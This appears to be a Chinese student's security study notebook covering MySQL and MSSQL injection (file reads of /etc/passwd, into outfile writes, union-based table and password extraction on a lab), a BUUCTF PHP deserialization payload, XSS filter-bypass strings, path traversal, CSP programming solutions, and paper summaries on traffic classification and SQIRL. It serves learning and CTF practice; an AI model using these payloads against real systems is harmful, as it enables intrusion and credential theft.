mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+----------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
+---------------+--------------------+----------------+
  • USER_PRIVILEGES 表

用户权限表。内容源自 mysql.user 授权表。是非标准表。

1
2
3
4
5
6
7
8
9
10
11
mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | SELECT | YES |
| 'root'@'localhost' | def | INSERT | YES |
| 'root'@'localhost' | def | UPDATE | YES |
| 'root'@'localhost' | def | DELETE | YES |
| 'root'@'localhost' | def | CREATE | YES |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)
文件读写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
load_file():读取函数
into outfile或into dumpfile:导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

读取文件
-1 union select 1,load_file('文件路径'),3
写入文件
-1 union select 1,'x',3 into outfile '文件路径'--+
文件路径符号用/,如果是\,要写成\\

常见文件读取列表:

常见文件写入问题:魔术引号开关
magic_quotes_gpc

魔术引号及常见防护

低版本注入配合读取或暴力
字典或读取

SQL语句干扰符号:' " % ) } 等,具体看写法

参考地址:https://www.sqlsec.com/2020/11/mysql.html

load_file 文件读取

into outfile 或into dumpfile 文件写入

查询是否有写入的权限

1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

  • 文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'): root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

1 row in set (0.00 sec)

ERROR:
No query specified

mysql>

读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669

如果存在过滤,比如说,把select替换为fuck,可以使用大写绕过过滤,写为Select,mysql对关键字大小写不敏感

select * from user where name like ‘%qyw%’

那么前面带qyw或者后面带qyw的都会被搜出来

值传递的方式,get,post,cookie,request

cookie提交方式,抓包,添加数据

Cookie: 参数=参数值

request是全部接受,用get,post或cookie都可以接受,我们大部分是黑盒测试,不知道对方代码是怎么写的,所以不知道接收数据时采用的是什么方法,如果采用的是request,那随便提交,如果是单一的,在注入时要使用到一些方法,有一些可以修改绕过提交方式

server提交方式,可以获取浏览器的一些值$_SERVER详解 - 刷哥 - 博客园 (cnblogs.com)

json注入

提交的时候写成这种

{

​ “username”:”admin”,

​ “password”:”123456”

}

或者直接抓个包,按那种格式提交数据

image

Access注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
数据库类型:Access、MySQL、SQL server、
结构
access
表名
列名
数据
MySQL等
数据库名
表名
列名
数据
我们进行sql注入时,用到的权限是由连接数据库的用户权限决定的
access数据库在进行注入时,不需要union select,因为它只有一个数据库,直接查询信息就行,它也没有收集数据库名信息,表名信息的表,所以在就行注入时,就只能进行暴力猜
1、判断有几列
2、暴力猜

遗留问题:
access注入时,暴力破解如果列名或表名猜解不到
MSSQL(SQL server)注入

MSSQL注入

https://www.cnblogs.com/xishaonian/p/6173644.html

例题为墨者学堂 SQL手工注入漏洞测试(Sql Server数据库)

解题步骤:

1、判断是否是MSSQL

1
2
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

sysobjects是sql server独有的一个数据库

2、判断数据库版本

1
2
and 1=@@version--这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)='2005'--适用于无回显模式,后面的2005就是数据库版本,返回正常就是2005的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2005的话就返回正常)

3、判断回显

1
2
由于题目中3是字符类型,所以要加引号
?id=-2 union all select 1,2,'3',4

4、数据库名称

1
?id=-2 union all select 1,db_name(),'3',4

得到数据库名称为 mozhe_db_v2

5、爆表

1
?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

当xtype=’U’ 代表是用户建立的表

得到表名为manage

6、爆字段

1
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

解释一下col_name(),与object()

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

1
2
3
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4 得username

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password

说明mange表总共有3列,分别为:id、username、password

7、爆数据

1
?id=-2 union all select 1,(select username from manage) ,(select password from manage where username in ('admin_mz')),4

得到username为admin_mz

password为72e1bfc3f01b7583,MD5解密,password为97285101

20240131

CSP

202312-1 仓库规划

题目链接:http://118.190.20.162/view.page?gpid=T180

用三层循环逐个比较

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<iostream>
using namespace std;

#define M 12
#define N 1005
int a[N][M];

int main()
{
int n,m;
cin>>n>>m;
int i,j,k;
for(i=1;i<=n;i++)
{
for(j=0;j<m;j++)
{
cin>>a[i][j];
}
}
for(i=1;i<=n;i++)
{
bool p=true; //判断有无上级仓库
for(j=1;j<=n;j++)
{
bool pd=true;
for(k=0;k<m;k++)
{
if(a[i][k]>=a[j][k])
{
pd=false;
break;
}
}
if(pd) //说明是上级仓库
{
cout<<j<<endl;
p=false;
break; //只要上级最小的
}
}
if(p)
{
cout<<0<<endl;
}
}
return 0;
}
202312-2 因子化简

题目链接:http://118.190.20.162/view.page?gpid=T179

对于待分解的数x,从小到大遍历所有可能的因数,可以被x整除就一直除以这个因数,直到x被分解完毕

参考:CCF-CSP真题202312-2因子化简(C++满分题解)_202312-2 试题名称: 因子化简-CSDN博客

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<iostream>
#include<math.h>
using namespace std;

typedef long long LL;

int main()
{
int q;
cin>>q;
LL res;
LL n;
int k;
for(int i=0;i<q;i++)
{
res=1;
n=0;
k=0;
cin>>n;
cin>>k;
for(int i=2;i<=n/i;i++)
{
int coef=0;
while(n%i==0)
{
n/=i;
coef++;
}
//某项指数大于等于制定阈值k,此项才会保留,否则不计入结果
if(coef>=k) res*=pow(i,coef);
}
cout<<res<<endl;
}
return 0;
}

Buuctf

16 PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

访问www.zip文件,下载了一个压缩包

image

(常见的黑客备份文件有www.tar.gz和www.zip,尝试www.zip可直接得到文件)

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize(),所以这道题应该是PHP反序列化的题目。

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔术方法,反序列化知识点可参考https://dbqyw.github.io/2024/01/24/PHP/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔术方法
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image

Web-Basic

HTTP基础知识

请求行

请求行由三个标记组成:请求方法、请求URL和HTTP版本,它们用空格分隔

例如:GET /index.html HTTP/1.1

HTTP规划定义了8中可能的请求方法

  • GET:请求指定的页面信息,并返回实体主体
  • POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改
  • HEAD:类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头,服务器只返回状态行和头标,不返回请求文档
  • PUT:从客户端向服务器传送的数据取代指定的文档的内容
  • DELETE:请求服务器删除指定的页面
  • OPTIONS:关于服务器支持的请求方法信息的请求
  • TRACE:web服务器反馈Http请求和其头标的请求
  • CONNECT:已文档化,但当前未实现的一个方法,预留做隧道处理
请求头

由关键字/值对组成,每行一对,关键字和值用冒号分隔,请求头标通知服务器用于客户端的功能和标识

  • HOST:主机或域名地址
  • Accept:指浏览器或其他客户可以接受的MIME文件格式,Servlet可以根据它判断并返回适当的文件格式
  • User-Agent:是客户浏览器名称
  • Host:对应网址URL中的web名称和端口号
  • Accept-Language:指出浏览器可以接受的语言种类,如en或en-us,指英语
  • connection:用来告诉服务器是否可以维持固定的HTTP连接,http是无连接的,HTTP/1.1
Web漏洞

文件包含漏洞 ../../../../

想访问的文件,与url目录文件所在的文件夹相差几个文件夹,就写几个../

如,想访问 WWW\xx.php

但是url所获取的是 WWW\pikachu\vul\dir\soup\1.php

相差四个,所以把1.php改为../../../../xx.php

Yet Another Traffic Classifier

Yet Another Traffic Classifier: A Masked Autoencoder Based Traffic Transformer with Multi-Level Flow Representation 论文分享

Zhao, R., Zhan, M., Deng, X., Wang, Y., Wang, Y., Gui, G., & Xue, Z. (2023). Yet Another Traffic Classifier: A Masked Autoencoder Based Traffic Transformer with Multi-Level Flow Representation. Proceedings of the AAAI Conference on Artificial Intelligence, 37(4), 5420-5427.

pdf链接:https://ojs.aaai.org/index.php/AAAI/article/download/25674/25446

另一种流量分类器:基于屏蔽自编码器的多级流表示流量转换器

现存的基于深度学习的流量分类方法局限
  1. 流量重复只是从原始数据包字节生成,导致在没有重要信息的情况下产生
  2. 直接应用深度学习算法的模型结构不考虑流量特征
  3. 特定场景分类器培训通常需要劳动密集型和耗时的过程来标记数据
提出问题

如何使分析仪器能够更准确地进行流量分类,在不同的流量中捕捉隐式的和鲁棒的模式。

贡献
  1. 使用带有MFR的基于MAE的交通变压器,称为YaTC,用于交通分类。 YaTC从三个角度突破了传统的流量分析方法:流量表示、分类器结构和培训策略。
  2. 设计了一个MFR矩阵,该矩阵充分考虑了流层次结构来表示原始流量。 为了有效地利用MFR矩阵进行流量分析,构建了一个具有数据包级和流级张位机制的新型流量变压器。 它可以以更低的复杂度和更少的参数执行更高效的特征提取。
  3. 应用基于MAE的自我监督学习范式来训练我们的分类器。 它首先利用大规模未标记的流量数据来学习通用的潜在重复,然后对一系列流量分类任务进行少量标记数据进行微调。
  4. 在五个现实世界流量数据集上评估YaTC,本文方法远远优于最先进的方法。
MAE

MAE(Mean Absolute Error)是一种用于CV(Computer Vision,计算机视觉)的自监督学习方法。自监督学习是一种无需人工标注数据的机器学习方法,它利用输入数据本身的特性来进行学习。MAE方法利用图像数据的自相似性来进行自监督学习。它首先将输入图像进行一定的变换(如旋转、缩放、裁剪等),然后利用这些变换后的图像作为输入数据进行训练。通过比较原始图像和变换后图像之间的差异来学习图像的特征和结构。

它的优点在于无需人工标注数据,可以利用大量的未标注图像进行训练,从而可以更好地利用数据资源。同时,MAE方法还可以提高模型的鲁棒性和泛化能力,因为它可以学习到图像的不变性特征,使模型对图像变换具有一定的鲁棒性。

总的来说,MAE方法是一种有效的自监督学习方法,可以提高CV模型的性能和泛化能力,同时也可以节省人工标注数据的成本和时间

Traffc Analysis Methods

Rule-Based Methods

研究人员通过安全专家设计的u规则,利用流量数据的通信协议和端口号等基本属性来发现违反安全策略的行为。

ML-Based Methods

基于机器学习的方法,来探索流量的高维统计特征,比如通过准确度评估选择最佳统计特征,将其作为支持向量机的输入来识别网站流量,或者采用随机森林分析网站流量产生的统计特征。基于机器学习的方法结合统计特征可以分析复杂流量,但它们依赖于专家设计的统计特征,需要针对不同场景选择最优特征。

DL-Based Methods

基于深度学习的方法,基于原始数据包而非认为设计的特征来分析流量,已成为自动提取流量表示并实现显著性能提升的主要工具。这些方法依赖于足够多的标注训练数据,而手机和手动标注足够多的真实流量样本并不容易。

多级流量表示法

从原始数据中生成多级流量代表,所作为交通分类的输入。

现存流量表示方法都是直接截取前面的数据流中的固定字节数形成二维矩阵,作为图像处理,通过DL算法进行分类,存在的问题:

  1. 与报头相比,有效载荷的大小通常要大得多,而且充满了加密操作产生的不可力戒信息,导致矩阵中的底层语义信息过多,影响这些模型的有效性和效率。
  2. 在某些流量中,第一个长数据包会占据整个矩阵,因此矩阵无法包含流量中其他数据包的数据。

本文提出的MFR矩阵,用格式化的二维矩阵来表示原始流量,如图1所示

  • 根据IP地址、端口号和协议雷响将原始流量分成若干流量
  • 为了避免引入有偏差的互相干扰,一处流量的以太网头,将端口号设为零,并用随机地址替换IP,但保留其方向
  • 捕获流量中相邻的M个数据包,并将其格式化为大小为H×W的二维矩阵,作为该流量的表示

注意:

本文使用了原始字节作为流量的初始特征(流量表示矩阵中每个点的值),但在捕获原始流量的多层次信息时采用了特殊的设计:

  • 字节流:流量表示矩阵的每一行只包含一种流量字节,分为标题行和有效载荷行
  • 数据包级:每个数据包由报头矩阵和有效载荷矩阵表示,形成大小为H/M*W的数据包级矩阵
  • 流量级:由于流量是由有序的数据包组成的美因茨M个相邻的数据包级矩阵会在第二维度上叠加,形成最终的MFR矩阵

这样,每一层的信息都是固定的,不会出现低层信息溢出而导致高层信息丢失的情况

image

数据处理的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import glob
import binascii
from PIL import Image
import scapy.all as scapy
from tqdm import tqdm
import numpy as np

def makedir(path):
try:
os.mkdir(path)
except Exception as E:
pass

def read_5hp_list(pcap_dir):
packets = scapy.rdpcap(pcap_dir)
data = []
for packet in packets:
header = (binascii.hexlify(bytes(packet['IP']))).decode()
try:
payload = (binascii.hexlify(bytes(packet['Raw']))).decode()
header = header.replace(payload, '')
except:
payload = ''
if len(header) > 160:
header = header[:160]
elif len(header) < 160:
header += '0' * (160 - len(header))
if len(payload) > 480:
payload = payload[:480]
elif len(payload) < 480:
payload += '0' * (480 - len(payload))
data.append((header, payload))
if len(data) >= 5:
break
if len(data) < 5:
for i in range(5-len(data)):
data.append(('0'*160, '0'*480))
final_data = ''
for h, p in data:
final_data += h
final_data += p
return final_data

def MFR_generator(flows_pcap_path, output_path):
flows = glob.glob(flows_pcap_path + "/*/*/*.pcap")
makedir(output_path)
makedir(output_path + "/train")
makedir(output_path + "/test")
classes = glob.glob(flows_pcap_path + "/*/*")
for cla in tqdm(classes):
makedir(cla.replace(flows_pcap_path,output_path))
for filename in tqdm(filenames):
content = read_5hp_list(filename)
content = numpy.array([int(content[i:i + 2], 16) for i in range(0, len(content), 2)])
fh = numpy.reshape(content, (40, 40))
fh = numpy.uint8(fh)
im = Image.fromarray(fh)
im.save(filename.replace('.pcap','.png').replace(flows_pcap_path,output_path))

makedir:创建一个新的目录。它接受一个参数path,表示要创建的目录的路径。函数首先尝试使用os.mkdir()函数创建目录,如果出现任何异常则将其捕获并忽略,不做任何处理。这样可以确保即使在创建目录时出现问题,程序也不会中断。

read_5hp_list:首先使用scapy.rdpcap()函数读取pcap文件,然后遍历每个数据包。对于每个数据包,它提取IP头部的十六进制表示,并尝试提取原始数据Raw十六进制表示。如果数据包中没有原始数据,则将payload设为空字符串。然后根据特定的长度要求对header和payload进行处理,确保它们的长度符合要求。接下来,函数将处理后的header和payload添加到一个列表data中,如果列表长度超过5,则停止添加。如果列表长度不足5,则补充空数据。最后,函数将列表中的数据拼接成一个字符串final_data,并返回final_data字符串。

MFR_generator:函数接受两个参数flows_pcap_pathoutput_path,分别表示pcap文件所在的路径和输出路径。首先,函数使用glob.glob()函数获取flows_pcap_path目录下所有子目录中的pcap文件,并存储在名为flows的列表中。然后使用自定义函数makedir()创建输出路径及其子目录。接下来,函数遍历classes列表中的每个类别,对每个类别都调用makedir()函数创建相应的子目录。然后,函数遍历filenames列表中的每个文件,对每个文件都调用read_5hp_list()函数读取数据,并将数据转换成特定格式的图像文件。这里使用了numpy库将数据转换成数组,并使用Image库创建图像对象,并最终保存为png格式的图像文件

SQIRL

SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning 论文分享

Wahaibi, S. A., Foley, M., & Maffeis, S. (2023). SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning. 32nd USENIX Security Symposium (USENIX Security 23), 6097–6114.

pdf链接:usenix.org/system/files/usenixsecurity23-al-wahaibi.pdf

SQIRL:使用强化学习的SQL注入漏洞灰盒检测

SQIRL是一种基于深度强化学习,使用多个工作代理和灰盒反馈来检测SQL注入漏洞的新方法,使用单个代理来学习如何修正SQL语法、转义上下文和绕过sanitisation。

现存的SQL注入漏洞扫描器局限
  1. 漏洞扫描器通常用于在投入生产之前找到漏洞,但是它们有时依赖于错误处理和网页上的SQL查询的反馈,导致在不存在错误时的有效性不高
  2. 现有的扫描器使用简单的基于规则的方法来覆盖最常见的SQL注入有效载荷,但是这些有效载荷缺乏多样性,并且无法根据特定的网络应用程序来制定有效载荷,导致扫描器忽略了合法的漏洞
提出问题

如何生成针对每个注入点、特定上下文和防御的有效载荷

贡献
  1. 为代理实现一个强化学习(RL)环境,为SQL注入模糊Web应用程序,通过我们扩展的最先进的爬虫识别输入。

  2. 设计并实现了SQIRL,一种新的深度强化学习模糊方法。单个RL代理完成SQL注入的三项任务:语法修复、上下文转义和清理旁路,并且让这些工作在知识在代理之间共享。

强化学习(RL)

强化学习的主要思想是通过与环境的交互,基于奖励和惩罚来学习如何最好地完成任务,以实现长期累积奖励的最大化。在这个过程中,智能体通过尝试不同的行为,并根据获得的奖励和惩罚来调整自己的策略,以最大化长期累积奖励。强化学习考虑的是长期累积奖励,而不仅仅是即时奖励,因此智能体需要学会通过一系列看似不相关的行为来最大化长期奖励。此外,智能体还需要在探索和利用之间找到平衡,以最大化长期奖励。强化学习通常使用马尔科夫决策过程(MDP)来建模决策问题,其中包括状态、动作、奖励和转移概率。通过学习价值函数或策略函数来决定在每个状态下应该采取什么样的行动,以最大化长期奖励。

联邦学习(FL)

联邦学习是多个客户端模型在一段时间内独立训练,将学习得到的参数发送给中央服务器模型,服务器模型对得到的参数进行汇总(通常是求平均值),然乎将汇总后的参数发送给客户端,客户端使用新的参数进行训练,直至模型收敛。

查找SQL注入漏洞的主要步骤
  1. 识别可能容易受到SQL注入影响的输入位置。包括URL、输入标签和与网页相关的动态链接元素。
  2. 一旦找到输入位置,就可以制作相关的有效负载。

有效负载必须满足4个标准才能触发SQL注入

  • 生成语法有效的SQL,以避免执行错误

  • 转义预期的SQL上下文

  • 绕过应用于有效负载的任何基于黑名单的过滤

  • 更改SQL语句的预期行为。例如,假设没有过滤,表1中红色显示的有效载荷会转义为“并执行SLEEP语句”。

    image

SQIRL实现

SQIRL架构

image

RL环境

绿色部分是RL代理,计算当前有效载荷的突变。RL环境将Web应用程序抽象为RL代理,作为接受操作并返回观察结果的组件,它需要抓取Web应用程序和监控SQL数据库,提供反馈机制没允许代理学习如何定制SQL注入有效载荷。

SQl Proxy

SQL代理从数据库日志文件中检索SQL语句,用于SQIRL的抓取和模糊阶段。

State & Extrinsic Reward

时刻 t 的状态由三个不同的部分组成:在t−1时刻注入的有效载荷;在时间t−1时从SQL代理中提取的SQL语句(在出现错误且没有新的SQL语句的情况下,本文使用在t−2时捕获的SQL语句);如果在前一个时间步骤中出现SQL错误,则使用bit来标记。为了减少可能状态的空间,并鼓励泛化,有效负载和SQL语句被转换为通用形式:字符串和整数值分别被通用令牌STR和INT替换。

这部分涉及一个算法,用于计算奖励、终止条件和下一局的过渡函数。

image

如果没有发生错误,检测有效载荷是否更改了SQL的行为,出发成功的终止条件并奖励0。假如,SLEEP关键字八日注入,并且在预期的上下文之外没有进行过滤,这就是一个合法的SQL注入有效载荷,但是如果有效负载无法逃离上下文,被清理,不改变已执行的SQL的行为或者导致SQL语法错误,提供-1的奖励。过度函数中的行为更改、清理和专业上下文条件作为合法检查和正则表达式实现。

Payload Control Module

本地代理通过有效载荷控制模块(PCM)与Web应用程序交互。PCM将一个动作转换为具体的有效载荷,并将其注入Web应用中,计算结果状态和奖励,反馈给相关代理。

生成具体有效载荷的操作

  • 上下文转义:从有效载荷中添加或删除基本令牌,如’,#,1=1,SELECT
  • 行为更改:从有效载荷中添加或删除行为更改令牌,如AND SLEEP(0),WHERE SLEEP(0),SLEEP(0)
  • 过滤转义:更改现有有效载荷令牌,如通过关键字大小写(SeLect)、字符令牌(CHAR(20))和注释空白

这张表是SQL有效负载和语句的令牌空间

image

Local Worker

SQIRL的核心,包含处理操作、状态和执行主要学习任务的逻辑。

Global Agent

全局代理包含全局策略,使用代理从同一目标的独立互动中收集不同的行为

SQIRL生成的有效载荷通用表示法

image

本文的局限性

SQIRL使用SQL数据库中的信息,但无法访问网络应用程序的源代码,是一种灰盒工具,不需要依赖在网页上泄露错误信息就能发现漏洞,但是针对已部署网络应用程序的恶意行为无效。

XSS1-原理分类及攻击手法

XSS跨站之原理分类及攻击手法

XSS跨站漏洞产生的原理

往浏览器页面中插入恶意的HTML代码,比如说js、css、html标签等,当用户浏览该页面时,嵌入其中的恶意代码会执行,达到攻击用户的目的,比如说获取用户浏览器信息等。

XSS漏洞攻击的危害

  • 盗取各类用户[账号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击(重定向语句)
  • 窃取cookie的sessionid,冒充登录。

XSS攻击利用到最大就需要自己有台服务器用于窃取信息,还要利用一点社工,骗取别人点击恶意的链接。

XSS跨站漏洞执行的代码是js代码,产生层面是前端,有关的函数是一些输出函数(alert、print等)

XSS跨站漏洞分类:反射,存储,DOM

跨站测试代码:

1
2
#' onclick="alert(2)">
<script>alert(1)</script>

使用后端来运行代码(反射型和存储型),得手动分析来测试是什么问题

XSS漏洞的分类

1.DOM型(不经过服务器,前端js代码的利用):

DOM型是针对前端代码的(有的页面跳转不是在url执行,是在HTML中执行),可以直接从源代码中发现存在XSS漏洞

DOM树

image

本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:

Alice给Bob发送一个恶意构造了Web的URL。

Bob点击并查看了这个URL。

恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。

具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。

Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

2.反射型:

反射型XSS有get和post型,攻击产生一次,攻击的语句不会存储到对方的服务器

这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

其攻击过程如下:

Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。

Charly发现Bob的站点包含反射性的XSS漏洞。

Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。

Alice在登录到Bob的站点后,浏览Charly提供的URL。

嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

3.存储型(长久型,危害最大):

存储型XSS,输入一行攻击脚本后,每次刷新页面都会攻击,攻击语句存储到对方的服务器了

该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。其攻击过程如下:

Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。

Charly注意到Bob的站点具有类型C的XSS漏洞。

Charly发布一个热点信息,吸引其它用户纷纷阅读。

Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。

类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。

1
2
3
4
5
6
7
8
反射型
发包 x=qyw=>x.php=>回显

存储型
发包 x=qyw=>x.php=>写到数据库某个表=>x.php=>回显

DOM型
发包 x=qyw=>本地浏览器静态前端代码=>x.php=>回显

绕过<script>过滤

有的网站存在<script>过滤

在html中,onload关键字就是一个事件,其它的所有标签都没有这个属性,但是Body标签的有的。但是有一定的局限性,如果onload事件在你的代码之前已经被处理了,就不会触发了

1
<BODY onload="alert('XSS')">

不过还有Onerror事件处理,图片没有指定也就是出错了,就会触发onerror事件,引发XSS漏洞,没有用<script>标签

1
<IMG SRC="" onerror="alert('XSS')">

cookie session 用户凭据,通过凭据可以判断对方的身份信息

cookie 存储在本地,存活事件较长 小中型

session 会话 存储在服务器,存活时间较短 大型

session更安全,但是会占用服务器的资源,且实现起来较为麻烦

靶场实践

反射型xss(get)

image

存储型xss,每次刷新的时候都会弹窗

image